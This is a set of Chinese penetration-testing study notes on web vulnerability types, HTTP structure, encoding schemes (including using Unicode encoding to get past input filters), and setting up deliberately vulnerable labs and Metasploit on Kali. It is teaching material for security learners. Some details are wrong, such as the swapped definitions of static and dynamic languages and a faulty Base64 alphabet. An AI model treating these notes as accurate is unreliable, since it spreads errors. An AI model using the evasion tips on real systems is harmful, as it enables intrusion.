渗透测试

开通VIP,畅享免费电子书等14项超值服

首页

好书

留言交流

下载APP

联系客服

2023.11.12广东

Web应用程序安全与风险

1.web发展历程

静态内容阶段(HTML)

CGI程序阶段(增加了APA接口,可以动态)

脚本语言阶段(ASP,PHP,JSP等)

瘦客户端应用阶段(独立于WEB服务器的应用服务器)

RIA应用阶段(DHTML+AJAX可以不用刷新功能内容可变)

移动WEB应用阶段(安卓。Ios)

2.常见的WEB应用程序漏洞

跨站脚本漏洞

弱口令漏洞

SQL注入漏洞

密码重用漏洞

任意文件上传漏洞

密码泄露

远程代码执行漏洞

源代码信息泄露

任意文件下载漏洞

存在入侵痕迹

越权访问

登陆可暴力猜解漏洞

旁注漏洞

文件任意写入漏洞

……

3.核心安全问题和因素

1.核心的安全问题:

用户可向服务器端应用提交任意输入

2.关键问题因素

不成熟的安全意识

独立开发

欺骗性的简化

迅速发展的威胁形势

技术上强其所难

对功能需求不对增强

3.新的安全边界

安全边界向用户端转移

在web应用程序出现之前

主要在网络边界上抵御外部攻击,保护这个边界需要对其提供服务进行强化打补丁,设置防火墙。

在web应用程序出现之后

用户要访问应用程序,边界防火墙一定要允许其通过HTTP/HTTPS连接内部服务器,应用程序要实现其功能,必须允许其连接服务器来支持后端系统、数据库、大型主机、金融与后勤系统。

如果存在漏洞,只要提交专门设计的数据就可以公婆组织的核心后端系统,这些数据就像正常,良性数据流一样,穿透组织的所有防御

所以要在应用程序内部执行防御措施第三方小部件、以及很多跨域集成技术,让服务器端的安全边界跨越了组织本身的边界。

小结

应用程序使用SSL仅仅表示网络其他用户无法查看修改攻击者传送的数据

SSL无法阻止攻击者向服务器提交专门设计的输入

攻击者控制着SSL通道终端,可以向服务器发任何内容

4.做一个有良心的白帽子

攻防学习网址导航

HACKEDSAFE

Hackedsafe

众测平台:

漏洞盒子:www.vulbox.com

5.渗透测试基本流程

渗透测试流程

1.信息收集

2.扫描漏洞

3.漏洞利用

4.提权

5.渗透测试报告

————————————————

web请求流程与HTTP方法刨析

1.HTTP

HTTP超文本传输协议,是访问万维网使用的核心通信协议,也是今天所有web应用程序使用的通信协议。

HTTP使用一种用于消息的模型:客户端发送一条请求信息,服务端返回一条响应消息。

该协议基本上不需要连接,虽然HTTP使用有状态的TCP协议作为他的传输机制,但是每次请求和响应都会自动完成,并且可能使用不同的TCP连接。

1.1HTTP请求

HTTP请求实例:

HTTP请求实例分析

get

get:主要作用是从web服务器获取一个资源,存在一个名为uid、值为129的参数;HTTP1.1协议版本(HTTP1.1版本必须使用host请求头)

Accept

Accept表示浏览器支持的MIME类型。

MIME类型分别是:text/html、application/xhtml+xml、application/xml和/

text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;

text/html:表示html文档;

Application:用于传输应用程序数据或者二进制数据;

application/xhtml+xml表示xhtml文档;

application/xml表示xml文档

*/*表示支持任何类型

q:表示权重:如果没有则默认为1,表示优先这些类型。实例中0.9表示前面都没有就用这个,最后的0.8表示如果都没有,那么任意的类型都行。

q是权重系数,范围0=

Referer

Referer:用于表示发出请求的原始URL(例如,因为用户单击页面上的一个链接)

(可防下载、盗链、判断非法链接)

Accept-Language

表示浏览器支持的语言:zh-cn表示简体中文、zh表示中文;q表示权重系数。

User-Agent

User-agent消息头提供与浏览器或其他生成请求的客户端软件有关的信息

HOST

用来指定被访问的完整url中的主机名。

如果多个站点以同一服务器为主机就需要使用host主机头。

Accept-Encoding

表示浏览器支持的压缩编码,如:gzip和deflate

Cookie

用于提交服务器向客户端发布的其他参数

Connection

表示持久的客户端与服务连接。

Close和keep

Close较好表示获取到数据后服务器与客户端断开

Keep用户量大会出问题

Upgrade-Insecure-Requests:1

X_FORWARDED_FOR

是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

1.2HTTP响应

HTTP响应实例

HTTP响应实例分析

使用的HTTP版本。

表示请求结果的数字状态码。200是最常用的状态码.它表示成功提交了请求,正在返回所请求的资源。

一段文本形式的“原因短语”,进一步说明响应状态。这个短语中可包含任何值,当前浏览器不将其用于任何目的。

响应示例中的其他一些要点如下:

Server消息头中包含一个旗标,指明所使用的Web服务器软件。有时还包括其他信息.如所安装的模块和服务器操作系统。其中包含的信息可能并不准确。

Set-Cookie消息头向浏览器发送另一个cookie.它将在随后向服务器发送的请求中由Cookie消息头返回。

Pragma消息头指示浏览器不要将响应保存在缓存中。Expires消息头指出响应内容已经过期.因此不应保存在缓存中。当返回动态内容时常常会发送这些指令,以确保浏览器随时获得最新内容。

几乎所有的HTTP响应在消息头后的空白行下面都包含消息主体,Content-Type消息头示这个消息主体中包含一个HTML文档。

Content-Length消息头规定消息主体的字节长度。

ETag:W/“59a3dc83-f61”浏览器根据HTTP请求的ETag验证请求的资源是否发生了改变,如果它未发生变化,服务器将返回“304NotModified”响应,并且资源从浏览器缓存中读取,这样就不必再次下载请求。

Vary:Accept-Encoding”标头,表示网站一般启用了GZip压缩

1.3HTTP消息头总结

1.常用消息头

用于告诉通信另一端,在完成HTTP传输后关闭TCP连接,还是保持连接开放以接受其他消息。

Content-Encoding

为消息主体中的内容指定编码形式(如gzip),程序通过它来压缩响应以加快传输速度。

Content-length

用与规定消息主体的字节长度,

Content-type

用于规定消息主体的内容类型。如:HTML文档的内容类型为text/html

Transfer-Encoding

指定编码

2.请求消息头

用于告诉服务器客户端愿意接受那些内容。

用于告诉服务器客户端愿意接受那些内容编码。

Authorization

这个消息头用于为一种内置HTTP身份验证向服务器提交证书。

这个消息头用于向服务器提交它以前发布的cookie.

Host

这个消息头用于指定出现在所请求的完整URL中的主机名称。

If-Modified-Since

If-None-Match

这个消息头用于指定一个实体标签。实体标签是一个说明消息主体内容的标识符。当最后一次收到所请求的资源时.浏览器提交服务器发布的实体标签。服务器可以使用实体标签确定浏览器是否使用资源的缓存副本。

Origin

这个消息头用在跨域Ajax请求中,用于指示提出请求的域。

这个消息头用于指示提出当前请求的原始URL。

这个消息头提供与浏览器或生成请求的其他客户端软件有关的信息。

3.响应消息头

Access-Control-Allow-Origin

这个消息头用于指示可否通过跨域Ajax请求获取资源。

Cache-Control

这个消息头用于向浏览器传送缓存指令(如no-cache)。

ETag

这个消息头用于指定一个实体标签。客户端可在将来的请求中提交这个标识符。获得和If-None-Match消息头中相同的资源,通知服务器浏览器当前缓存中保存的是哪个版本的资源。

Expires

Location

这个消息头用于在重定向响应(那些状态码以3开头的响应)中说明重定向的目标。

Pragma

这个消息头用于向浏览器传送缓存指令(如no-cache).

Server

Set-Cookie

这个消息头用于向浏览器发布cookie.浏览器会在随后的请求中将其返回给服务器。

WWW-Authenticate

这个消息头用在带401状态码的响应中,提供与服务器所支持的身份验证类型有关的信息。

X-Frame-Options

这个消息头指示浏览器框架是否及如何加载当前响应

1.4HTTP方法

1.GET方法

Get方法的作用在于获取资源。它可以用于URL查询字符串的形式向所请求的资源发送参数。

2.POST方法

POST方法的主要作用是执行操作。使用这个方法可以在URL查询字符串与消息主体中发送请求参数。(提交表单)

3.HEAD

这个方法的功能与GET方法相似,不同之处在于服务器不会在其响应中返回消息主体。服务器返回的消息头应与对应GET请求返回的消息头相同。因此,这种方法可用于检查某一资源在向其提交GET请求前是否存在。

TRACE

这种方法主要用于诊断。服务器应在响应主体中返回其收到的请求消息的具体内容。这种方法可用于检测客户端与服务器之间是否存在任何操纵请求的代理服务器。

OPTIONS

这种方法要求服务器报告对某一特殊资源有效的HTTP方法。服务器通常返回一个包含Allow消息头的响应,并在其中列出所有有效的方法。

PUT

这个方法试图使用包含在请求主体中的内容,向服务器上传指定的资源。如果激活这个方法,渗透测试员就可以利用它来攻击应用程序。例如,通过上传任意一段脚本并在服务器上执行该脚本来攻击应用程序。

(move改名数据包、copy复制数据包、delete删除数据、propfind生成返回有浏览目录权限的内容目录的数据包,最后点提交数据包把生成的数据包提交到服务器)

还有许多其他与攻击Web应用程序没有直接关系的HTTP方法。然而,如果激活某些危险的方法,Web服务器可能面临攻击风险。

1.5URL

标识Web资源的唯一标识符。通过它即可获取其标识的资源。

默认端口80

写在域名后

?id=1(取出数据库id为1的数据返回)

1.6cookie

是大多数web程序依赖HTTP协议的一个关键组成部分。常通过它利用web程序中的漏洞。

1.7状态码

HTTP响应消息第一行会包含一个状态码。

根据代码的第一个数字分为一下五类:

1XX————提供信息

2XX————请求被成功提交

3XX————客户端被重定向到其他资源

4XX————请求包含某种错误

5XX————服务器执行请求时遇到错误

渗透测试中最有可能遇到的状态码及原因短语

100Continue表示已经收到消息请求头,客户端继续发送主体。

200OK表示以成功提交请求,且响应主体包含请求结果。

201creatrdput请求的响应返回这个状态码,表示请求已成功提交。

301MovedPermanently。本状态码将浏览器永久重定向到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。

302Found。本状态码将浏览器暂时重定向到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL.

304NotModified。本状态码指示浏览器使用缓存中保存的所请求资源的副本。服务器使用If-Modified-Since与工f-None-Match消息头确定客户端是否拥有最新版本的资源。

400BadRequest。本状态码表示客户端提交了一个无效的HTTP请求。当以某种无效的方式修改请求时(例如在URL中插人一个空格符),可能会遇到这个状态码。

401Unauthorized.服务器在许可请求前要求HTTP进行身份验证。WWW-Authenticate消息头详细说明所支持的身份验证类型。

403Forbidden。本状态码指出,不管是否通过身份验证,禁止任何人访问被请求的资源。

404NotFound。本状态码表示所请求的资源并不存在。

405MethodNotAllowed。本状态码表示指定的URL不支持请求中使用的方法。例如,如果试图在不支持PUT方法的地方使用该方法,就会收到本状态码。

413RequestEntityTooLarge。如果在本地代码中探查缓冲器滋出漏洞并就此提交超长数据串.则本状态码表示请求主体过长,服务器无法处理。

414RequestURITooLong。与前一个响应类似,本状态码表示请求中的URL过长,服务器无法处理。

500InternalServerError。本状态码表示服务器在执行请求时遇到错误。当提交无法预料的输人、在应用程序处理过程中造成无法处理的错误时,通常会收到本状态码。应该仔细检查服务器响应的所有内容,了解与错误性质有关的详情。

503ServiceUnavailable。通常,本状态码表示尽管Web服务器运转正常.并且能够响应请求,但服务器访问的应用程序还是无法作出响应。应该进行核实,是否因为执行了某种行为而造成这个结果。

1.8HTTPS

HTTP使用普通的非加密TCP作为其传输机制.因此,处在网络适当位置的攻击者能够截取这个机制。HTTPS本质上与HTTP一样,都属于应用层协议.但HTTPS通过安全传输机制—安全套接层(SecureSocketLayer,SSL)传送数据。这种机制可保护通过网络传送的所有数据的隐密性与完整性,显著降低非人侵性拦截攻击的可能性。不管是否使用SSL进行传输,HTTP请求与响应都以完全相同的方式工作。

1.9HTTP代理

HTTP代理服务器是协调浏览器与目标web服务器之间访问的服务器

**当使用HTTPS时,**浏览器无法与代理服务器进行SSL握手.因为这样做会破坏安全隧道,使通信易于遭受拦截攻击。因此.浏览器必须将代理作为一个纯悴的TCP级中继,由它传递浏览器与目标Web浏览器之间的所有网络数据,并与浏览器进行正常的SSL握手。浏览器使用CONNECT方法向代理服务器提交一个HTTP清求.并指定URL中的目标主机名称与端口号.从而建立这种中继。如果代理允许该请求,它会返回一个含200状态码的HTTP响应,一直开放TCP连接.从此以后作为目标Web服务器的纯梓TCP级中继。

从某种程度上说,攻击Web应用程序时最有用的工具是一个处在浏览器与目标Web站点之间的专用代理服务器,使用它可以拦截并修改所有使用HTTPS的清求与响应。

1.10HTTP身份验证

Basic

它在请求消息头中随每条消息以basic64编码字符串的形式发送用户证书。

NTLM

NTLMWindowsNT挑战/响应验证机制(早期的安全协议)

NTLMv2及Kerberos验证体系(更新的安全按协议)

Digest

是一种相应式机制,随同用户证书一起使用一个随机值MD5校验和。

2.WEB功能

2.1服务端功能

早期web站点由静态资源组成,如HTML页面与图片;当用户提交请求时,只需将它们加载到Web服务器,再传送给用户即可。每次用户请求某个特殊的资源时,服务器都会返回相同的内容。

如今的Web应用程序仍然使用相当数量的静态资源。但它们主要向用户提供动态生成的内容。当用户请求一个动态资源时.服务器会动态建立响应,每个用户都会收到满足其特定需求的内容。

动态内容由在服务器上执行的脚本或其他代码生成。在形式上,这些脚本类似于计算机程序:它们收到各种输入,并处理输入,然后向用户返回输出结果。

当用户的浏览器提出访问动态资源的请求时,它并不仅仅是要求访问该资派的副本。通常它还会随请求提交各种参数。正是这些参数保证了服务器端应用程序能够生成适合各种用户需求的内容。

HTTP请求使用3种主要方式向应用程序传送参数:

通过URL查询字符串;

通过REST风格的URL的文件路径;

通过HTTPcookie;

通过在请求主体中使用POST方法。

除了这些主要的输人源以外,理论上,服务器端应用程序还可以使用HTTP请求的任何一个部分作为输人。例如,应用程序可能通过User}Agent消息头生成根据所使用的浏览器类型而优化的内容。

像常见的计算机软件一样.Web应用程序也在服务器端使用大赞技术实现其功能。这些技术包括:

脚本语言,如PHP,VBScript和Perl;

Web应用程序平台.如ASP.NET和Java;

Web服务器.如Apache,IIS和NetscapeEnterprise;

数据库.如MS-SQL,Oracle和MySQL;

其他后端组件,如文件系统、基于SOAP的Web服务和目录服务。

常见的web应用程序平台和语言

Java

它应用多层与负载平衡架构,非常适于模块化开发与代码重复利用。由于其历史悠久、应用广泛,因此.开发者在开发过程中可以利用许多高质最的开发工具、应用程序服务器与框架。Java平台可在几种基础型操作系统上运行,包括Windows、Linux与Solaris,

Rubyonrails

,主要侧重于模型-视图-控制器体系架构。Rail:的主要优势在于,使用它能够以极快的速度创建成熟的数据驱动应用程序。如果开发者遵循Rails编码风格和命名约定,则可以使用Rails自动生成数据库内容的模型、修改该模型的控制器操作以及供应用程序用户使用的默认视图。与其他功能强大的新技术一样,人们已在RubyOnRails中发现了一些漏洞.包括能够避开“安全模式”,这与在PHP中发现的漏洞类似。

有关最近发现的漏洞的详细信息,请参阅www.ruby-lang.org/en/security/

Sql

结构化查询语言(SQL)用于访问Oracle,MS-SQL服务器和MySQL等关系数据库中的数据。目前,绝大多数的Web应用程序都将基于SQL的数据库作为它们的后端数据仓库,而且,几乎所有应用程序的功能都需要以某种方式与这些数据仓库进行交互。

关系数据库将数据存储在表中,每个表又由许多行和列构成。每一列代表一个数据字段,如“名称”或“电子邮件地址”.每一行则代表为这些字段中的一些或全部字段分配值的项。

SQL使用查询来执行常用的任务,如读取、添加、更新和删除数据。例如,要检索用户的具有指定名称的电子邮件地址,应用程序可以执行以下查询:

selectemailfromuserswherename=’daf’

要实现它们所需的功能,Web应用程序可能会将用户提交的输人组合到由后端数据库执行的SQL查询中。如果以危险的方式进行组合,攻击者就可以提交恶惫输人来干扰数据库的行为,从而读取和写人敏感数据。我们将在第9章中介绍这些攻击,并详细说明SQL语言及其用法

Xml

可扩展标记语言(XML)是一种机器可读格式的数据编码规范。与其他标记语言一样.XML格式将文档划分为内容(数据)和标记(给数据作注解))。

标记主要用标签表示,它们包括起始标签、结束标签和空元素标签:

起始和结束标签成对出现,其中可以包括文档内容或子元素:

ginger

spotpaws

标签可以包含以名l值对出现的属性:

XML之所以可扩展,是因为它可以使用任意数放的标签和属性名。XML文档通常包含文档

类型定义(DTD),DTD定义文档中使用的标签、属性及其组合方式。

服务器端和客户端Web应用程序广泛采用XML及由XML派生的技术

Web服务

Web服务使用简单对象访问协议(SOAP)来交换数据。通常,SOAP使用HTTP协议来传送

消息,并使用XML格式表示数据。

典型的SOAP请求如下所示:

POST/doTransfer.aspHTTP/1.0Host:mdsec-mgr.int.mdsec.netContent-Type:application/soap+xml;charset=utf-8Content-Length:891

182810081430False08447656

在使用浏览器访问Web应用程序时很可能会遇到SOAP,服务器端应用程序使用它与各种后端系统进行通信。如果将用户提交的数据直接组合到后端SOAP消息中,就可能产生与SQL注人类似的漏洞。

如果Web应用程序还直接公开Web服务,那么.我们还需要检查这些Web服务。即使前端应用程序是基于Web服务编写的,但它们在箱人处理以及服务本身所披露的功能方面仍存在区别。正常悄况下,服务器会以Web服务描述语言(WSDL)格式公布可用的服务和参数。攻击者可以

使用soapUl之类的工具、基于已公布的WSDL文件创建示例请求,以调用身份验证Web服务.获得身份验证令牌.并随后提出任何Web服务请求。

2.2客户端功能

服务器端应用程序要接收用户输人与操作,并向用户返回其结果,它必须提供一个客户端用户界面。由于所有Web应用程序都通过Web浏览器进行访问.因此这些界面共享一个技术核心。然而,建立这些界面的方法各不相同。

1.HTML

是建立web界面所需的核心技术,是用于描述浏览器所显示的文档结构的基于标签的语言,

XHTML是HTML的进化版本,是基于XML,且采用更严格的规范,以避免由于浏览器必须接受不太严格的HTML格式而导致的各种攻击和安全问题。

2.超链接

客户端与服务器之间的大量通信都由用户单击超链接驱动。**Web应用程序中的超链接通常包含预先设定的请求参数.这些数据项不需由用户输人,而是由服务器将其插人用户单击的超链接的目标URL中,以这种方式提交。**例如,Web应用程序中可能会显示一系列新闻报道链接,其形式如下:

What’shappening

当用户单击这个链接时,浏览器会提出以下请求:

GET/news/8/redir=/updates/update29.htm1HTTP/1.1

Host:mdsec.net

服务器收到查询字符串中的参数(newsid).并使用它的值决定向用户返回什么内容。

3.表单

虽然基于超链接的导航方法负责客户端与服务器之间的绝大多数通信,但许多Web应用程序还是需要采用更灵活的形式收集输入,并接收用户输人。HTML表单是一种常见的机制,允许用户通过浏览器提交任意输入。以下是一个典型的HTTP表单:

2.3状态与会话

为实现各种有用的功能.应用程序需要追踪每名用户通过不同的请求与应用程序交互的状态。例如,一个购物应用程序允许用户浏览产品目录、往购物车内添加商品、查看并更新购物车内容、结账并提供个人与支付信息。

在一些应用程序中,状态信息保存在客户端组件而非服务器中。服务器在响应中将当前的数据传送给客户端,客户端再在请求中将其返回给服务器。当然.由于通过客户端组件传送的任何数据都可被用户修改,因此,应用程序需要采取措施阻止攻击者更改这些状态信息,破坏应用程序的逻辑。ASP.NET平台利用隐藏表单字段ViewState保存与用户的Web界面有关的状态信息,从而减轻服务器的工作负担。默认情况下ViewState的内容中还包括一个密钥散列,以防止受到破坏。

因为HTTP协议本身并没有状态.为使用正确的状态数据处理每个请求,大多数应用程序需要采用某种方法在各种请求中重新确认每一名用户的身份。通常,应用程序会向每名用户发布一个令牌.对用户会话进行唯一标识.从而达到这一目的。这些令牌可使用任何请求参数传输.但许多应用程序往往使用HTTPcookie来完成这项任务。

3.编码方案

1.url编码(工具可转换)

URL编码方案主要用于对扩展ASCII字符集中的任何有问题的字符进行编码,使其可通过HTTP安全传输。任何URL编码的字符都以%为前缀,其后是这个字符的两位十六进制ASCII代码。

常见的url编码字符:

%3d代表=

%25代表%

%20代表空格

%0a代表换行

%00代表空字节

2.Unicode编码

Unicode是一种为支持全世界所使用的各种编写系统而设计的字符编码标准,它采用各种编码方案.其中一些可用于表示Web应用程序中的不常见字符。

16位Unicode编码的工作原理与URL编码类似**。为通过HTTP进行传输16位Unicode编码的字符以u为前缀,其后是这个字符的十六进制Unicode码点。**例如:

%u2215代/

%u00e9代表

**UTF-8是一种长度可变的编码标准.它使用一个或几个字节表示每个字符。为通过HTTP进行传输,UTF-8编码的多字节字符以毛为前缀,其后用十六进制表示每个字节。**例如:

%c2%a9代表

%e2%89%a0代表

攻击Web应用程序时之所以要用到Unicode编码,主要在于有时可用它来破坏输入确认机制。如果输入过滤阻止了某些恶意表达式.但随后处理输入的组件识别Unicode编码,就可以使用各种标准与畸形Unicode编码避开过滤。

3.HTML编码

HTML编码是一种用于表示问题字符以将其安全并入HTML文档的方案。有许多字符具有特殊的含义(如HTML内的字符),并被用于定义文档结构而非其内容。为了安全使用这些字符并将其用在文档内容中,就必须对其进行HTML编码。

HTML编码定义了大量HTML实体来表示特殊的字面量字符.例如:

&apos:代表’

&代表&

<代表<

&g:;代表>

此外,任何字符都可以使用它的十进制ASCII码进行HTML编码.例如:

#39;代表’

或者使用十六进制的ASCII码(以x为前缀),例如:

当攻击Web应用程序时,HTML编码主要在探查跨站点脚本漏洞时发挥作用。如果应用程序在响应中返回未被修改的用户输人,那么它可能易于受到攻击,但是,如果它对危险字符进行HTML编码也许比较安全。

4.Base64编码

Base64编码仅用一个可打印的ASCII字符就可安全转换任何二进制数据.它常用于对电子邮件附件进行编码,使其通过SMTP安全传输。它还可用于在基本HTTP验证机制中对用户证书进行编码。

Base64编码将输人数据转换成3个字节块。每个块被划分为4段,每段6个数据位。这6个数据位有64种不同的排列组合,因此每个段可使用一组64个字符表示。Base64编码使用以下字符集其中只包含可打印的ASCII字符:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789-/

如果最后的输人数据块不能构成3段输出数据,就用一个或两个等号(=)补足输出。

例如,TheWebApplicationHacker’sHandbook的Base64编码为:

VGh1IFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==

许多Web应用程序利用Base64编码在cookie与其他参数中传送二进制数据,甚至用它打乱敏感数据以防止即使是细微的修改。应该总是留意并解码发送到客户端的任何Base64数据。由于这些数据使用特殊的字符集,而且有时会在字符串末尾添加补足字符(二),因此可以轻易辨别出Base64编码的字符串。

5.十六进制编码

许多应用程序在传送二进制数据时直接使用十六进制编码,用ASCII字符表示十六进制数据

块。例如,对cookie中的用户名daf进行十六进制编码,会得到以下结果:

646166

和Base64编码的数据一样,十六进制编码的数据通常也很容易辨认。为了解十六进制编码的

功能应当对服务器发送到客户端的任何十六进制数据进行解码。

6.远程和序列化框架

这类远程和序列化框架包括:

Flex和AMF;

Silverlight和WCF;

Java序列化对象。

ThinkPHP

Struts2

Web常识拓展:

1.静态动态语言区别

答:动态语言:服务端和客户端代码不一致(如html)

静态语言:服务端和客户端代码一致(如:asp,php,aspx,jsp)

2。常见的脚本语言有那些

答:asp、php、aspx、jsp、cgi、war、do、py、pl

3.常见的数据库有那些

答:accessmysqlmssql(sqlserver)oraclepostsqldb2

4.常见的数据库与脚本语言搭配

答:asp+access,asp+mssql,php+mysql,aspx+mssqlaspx+oracle,jsp+oracle,jsp+mssql等

5.系统、脚本语言、中间件如何组合

答:Windows2003/2008/2012+asp、aspx、php+iis6.0/7.0+7.5

Apache+Windows/Linux+PHPWindows/Linux+Tomcat+JSP

6.渗透测试过程中如何查看对方网站平台

答:1、工具(RASS、天镜、NMAP、X-SCAN)2、第三方平台(seo.chinaz.com)3、通过ping观看TTL值

渗透测试攻防环境搭建

1.VMware虚拟机下载与安装

官网下载地址:

安装:

下一步即可、不多做说明。

2.Windows和Kali操作系统安装

1.Windows系列:

Xp、7、Server2003、Server2008

镜像下载地址:

MSDN:

虚拟中安装即可,不做说明。

2.kali

下载地址

1.KALILinux是一个基于Debian的Linux发行版,所以在虚拟机中选择客户机操作系统及版本要选择Debian系列。

2.为了安装方便在安装界面选择图形界面安装(Graphicalinstall)

3.设置网络

vi/etc/network/interfaces

autoeth0//指定eth0网卡

ifaceeth0inetstatic//静态地址(动态获取用dhcp)

address192.168.0.133//IP地址

netmask255.255.255.0//子网掩码

gateway192.168.0.1//默认网关

重启网络/etc/init.d/networkingrestart

4.替换yum源

root@kali:~#vi/etc/apt/sources.list

将原有的更新源用#注释掉

中科大源(够用了)

5.升级kali

升级指令:“apt-getupdate&&apt-getupgrade”6.

1.phpstudy安装与使用

下载地址:

下一步即可,不多做说明

2.PHPstudy集成环境下需搭建的平台

(bwapp、pikachu、dvwa、phpcms)

Bwapp:

在WWW中创建一个Bwapp文件夹

把bwapp文件转移进去

在浏览器地址栏Ip地址bwapp/bwapp/install.php

installed安装成功

ok

pikachu

在WWW中创建一个pikachu文件夹

把pikachu文件转移进去

浏览器进入pikachu文件夹ubstall.php

初始化安装

DVWA

在WWW中创建一个DVWA文件夹

把dvwa文件转移进去

把config.inc.php.dist的dist去掉

创建数据库

Ok

phpcms搭建

在WWW中创建一个phpcms文件夹

把文件转移进去

在浏览器地址栏Ip地址phpcms/instal/linstall.php

开始安装

账号root密码root超级管理admin密码123456

index.php开始使用

mysql知识补充

连接数据库

mysql-h要连接的数据库地址-u用户-p密码

导出备份

mysqldump-h导入地址-P端口号-u用户名-p密码想导出的库>c:\sql.sql

导入

mysql-h127.0.0.1-uroot-prootsql

也可以通过source命令导入

mysql>createdatabaseabc;#创建数据库

mysql>useabc;#使用已创建的数据库

mysql>setnamesutf8;#设置编码

mysql>sourcec:/sql.sql#导入备份数据库

更改漏洞文件连接方式与数据库信息一致,访问数据库?id=1

有时版本不一样连接方式可能不同,出现错误

4.asp+aspx+mssql攻防环境搭建asp、aspx攻防程序部署

虚拟机中打开Windowsserver2003—控制版面—添加程序—添加asp.net

(注意:上面的操作要确保装入Windowsserver2003光盘镜像)

打开刚安装的IIS—禁用默认网站—点开web服务扩展—启用ActiveServerPages

在C盘中创建www文件夹—将wwwtest.rar(里面是要用到的一些asp\aspx网站文件包)解压到www文件夹中。

打开iis–-新建网站—填写IP—端口—路径选www中的网站文件—网站访问权限(读取、运行脚本)–完成

在左侧网站栏—选择新建好的网站右键属性—主目录—配置—选项—启用父目录—文档中添加默认首页index.asp

2.安装sqlserver2008

安装.Net框架(4.0版本)

将sqlserver2008镜像文件挂载在Windowsserver2003系统—从光盘打开setup.exe—安装时功能全选–对所有SQLSERVER服务使用相同账户(创建超级账户),浏览,高级,立即查找,设置密码–身份验证模式混合验证,添加一个管理员,为当前用户

打开sqlserver管理控制台(SQLServerManagementStudio)–导入库—附加数据库即可

在iis中建站—路径为sqlserver即可。

(注意:此时会发现PHPstudy集成环境中搭建的环境无法打开,将PHPstudy中阿帕奇的端口进行改,本人改为81)

5.tomcat+struts环境搭建

这里简单使用JSPstudy集成环境实现:

按照默认方式安装好jspstudy后—找到默认根目录tomcat/webapps

在struts-2.文件—找到apps文件夹—将里面的文件拖到webapps文件夹中—会自动解压

structs开发之后打包是以.var结尾(文件多的正常都是打包之后再部署,相当于压缩)

(注意:将阿帕奇的端口进行修改,本人改为81:tomcat端口改为8081(看个人主要为了不和jboos的端口冲突))

6.jboos环境搭建

1.安装jdk配置环境变量

新建系统变量

变量名为:JAVA_HOME变量值:C:\ProgramFiles\Java\jdk1.6.0_45\

变量名:Path变量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin

变量名:CLASSPATH变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar

新建用户变量

变量名为:Path变量值:%SystemRoot%/system32;%SystemRoot%;%JBOSS_HOME%\bin

2、下载jboss并配置运行环境变量

新建系统变量,变量名为:JBOSS_HOME变量值:c:\jboss

变量名为:SystemRoot变量值:C:\Windows

3、环境变量配好之后,需要为JBOSS添加用户,调用dos窗口,输入命令add-user

只能用本地连接

5、端口及ip修改

进入jboss-6.1.0.Final\server\default\deploy\jbossweb.sar

编辑server.xml搜索“8080″和${jboss.bind.address}改为80及ip为:0.0.0.0

0.0.0.0表示类ip地址

或直接运行run.bat-b0.0.0.0

7.weblogic环境搭建

在服务器命令提示符中保证Java、javac可以命令成功运行

找到下载weblogic.jar文件

(注意:打开weblogic.jar方法:在桌面新建文件夹重命名为weblogic,然后用解压工具直接打开weblogic.jar文件,将里面的文件直接拖到新建的weblogic文件夹中)

在weblogic文件夹中找到install.exe双击运行

注意:(下面未提到的位置按默认即可)

进度到安装类型那一块选择weblogic.server安装即可

进度到先决条件检查时会报错,不用管,直接下一步

进度到安装完成时,后续步骤:启动weblogic配置导向前一定打勾

在weblogic配置向导中,创建域选择第一个basicweblogicserverdomain-12.1.2.0即可

管理员账户设置账户密码:密码需要口令复杂度要求。

浏览器登陆时要有路径

kali之msf渗透测试

1.metasploit介绍、安装、更新、目录结构

1.metasploit介绍

Metasploit就是一个漏洞框架。它的全称叫做TheMetasploitFramework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。Metasploit就是一个漏洞框架。

2.MSF安装要求

硬盘空间:

至少10G,个人建议50G;由于分区时用FAT32类型不支持大文件运行,所以分区建议使用NTFS、EXT3类型分区,

内存:

建议2G及以上

处理器:

处理器要求较低,市面上电脑均可满足要求,处理速度大于500HZ即可

网络设备

虚拟机中桥接即可,也可以自己配置IP,无线网络需要外接无线网卡

软件:

KALI和其他测试系统

虚拟机:

必备:需安装kali和各种测试系统

Kali:

升级指令:“apt-getupdate&&apt-getupgrade”

Metasploitable系统:

它包含Linux系统中大大小小的漏洞,很适合做测试系统。

下载之后发现是zip格式的,直接解压用vm打开就可以。

3.MSF更新

1.替换yum源,将原有源用#注释掉。

vi/etc/apt/sources.list

kali官方源

#中科大源

保存退出即可

注意(vi编辑之保存—退出)

按ESC键跳到命令模式,然后:

:w保存文件但bai不退出vi

:wfile将修改另外保存到file中,du不退出vi

:w!强制保存,不推zhi出vi

:wq保存文件并退出vi

:wq!强制保存文件,并退出vi

q:不保存文件,退出vi

:q!不保存文件,强制退出vi

:e!放弃所有修改,从上次保存文件开始再编辑

2.添加数字签名

wgetarchive.kali.org/archive-key.asc//下载签名

apt-keyaddarchive-key.asc//安装签名

注:如果添加数字签名还提示无法安装可删除原有msf

root@kali:~#aptremovemetasploit-framework

注:卸载过程中无法获得锁/var/cache/apt/archives/lock-open(11:资源暂时不可用)

无法对目录/var/cache/apt/archives/加锁

root@kali:~#sudorm/var/cache/apt/archives/lock//进行强制解锁root@kali:~#sudorm/var/cache/apt/archives/

3.安装msf框架

root@bogon:~#apt-getupdateroot@kali:~#apt-getinstallmetasploit-framework//安装msf框架root@kali:~#msfconsole//发现有提示数据库未启动,退出msf启动数据库root@kali:~#systemctlstartpostgresql//启动数据库root@kali:~#systemctlenablepostgresql//允许开机自启动root@kali:~#msfdbinit//构建数据库缓存root@kali:~#msfconsole

注意

如果更新完msf出现才下问题

root@kaliew:~#msfconsole

[]Bundlerfailedtoloadandreturnedthiserror:

[]Youmayneedtouninstallorupgradebundler

解决方法:

root@kaliew:~#sudogeminstallbundler

root@kaliew:~#bundleupdatecelluloid

